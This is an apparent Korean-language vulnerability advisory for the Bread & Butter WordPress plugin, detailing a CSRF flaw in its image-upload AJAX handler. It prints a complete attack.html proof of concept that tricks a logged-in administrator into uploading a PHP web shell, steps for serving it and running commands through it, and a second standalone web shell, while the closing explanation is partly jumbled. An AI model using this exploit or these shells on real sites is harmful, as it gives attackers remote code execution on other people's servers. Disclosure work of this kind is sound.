
Bread & Butter: 콘텐츠 게이팅 + 리드 확보 + 퍼스트파티 데이터 수집 + AI 에이전트로 육성 <= 7.10.1321 - 사이트 간 요청 위조(CSRF)를 통한 임의 파일 업로드
Bread & Butter IO 플러그인의 이미지 업로드 기능에는 모든 공격자가 인증된 관리자를 속여 PHP 웹 셸을 포함한 임의의 파일을 서버에 업로드하게 하여 **원격 코드 실행 (RCE)**으로 이어질 수 있는 취약점이 있습니다. 이 취약점은 uploadImage() 함수에 CSRF 보호가 없어 공격자가 관리자 브라우저가 자동으로 실행할 악성 요청을 만들 수 있다는 점에서 비롯됩니다.
취약점은 /bread-butter/src/Base/Ajax.php의 uploadImage() 함수에 존재합니다. 이 함수는 적절한 파일 검증과 CSRF 보호가 없으며, 보안 검사 전에 file_put_contents()를 사용하여 WordPress 업로드 디렉터리에 파일을 직접 씁니다.
다음은 간단한 attack.html입니다:
<!DOCTYPE html>
<html>
<body>
<button onclick="exploit()">CSRF Attack</button>
<script>
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
</script>
</body>
</html>
POC를 위해 로컬에서 다음과 같이 실행할 수 있습니다:
# Serve the CSRF exploit
python3 -m http.server 1337
# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
피해자 브라우저에서 관리자로 로그인된 상태라면 링크를 클릭하는 것만으로 RCE로 이어집니다.
취약점은 /bread-butter/src/Base/Ajax.php의 411행에 있는 uploadImage() 함수에 존재합니다:
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // Attacker get's file moved to acessable storage!
// Post-upload processing (after vulnerability is exploited)
$wp_filetype = wp_check_filetype($filename, null);
// ... rest of function
}
취약한 함수는 95행에서 WordPress AJAX 핸들러로 등록됩니다:
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
여기서 self::$uploadImage는 37행에서 upload_image로 정의됩니다.
유일한 보안 제어는 166-171행의 checkAdmin() 메서드입니다:
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
CSRF 보호가 없기 때문에 이 취약점은 사이트 간 요청 위조(Cross-Site Request Forgery) 공격을 통해 악용될 수 있습니다. attack.html POC는 다음을 통해 이를 시연합니다:
target="_blank" 사용attack.html 참조)/wp-content/uploads/[year]/[month]/test.php?cmd=whoami에서 접근합니다/wp-admin/admin-ajax.php로 직접 AJAX 요청을 보냅니다<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
/wp-content/uploads/[year]/[month]/[filename].php에서 접근합니다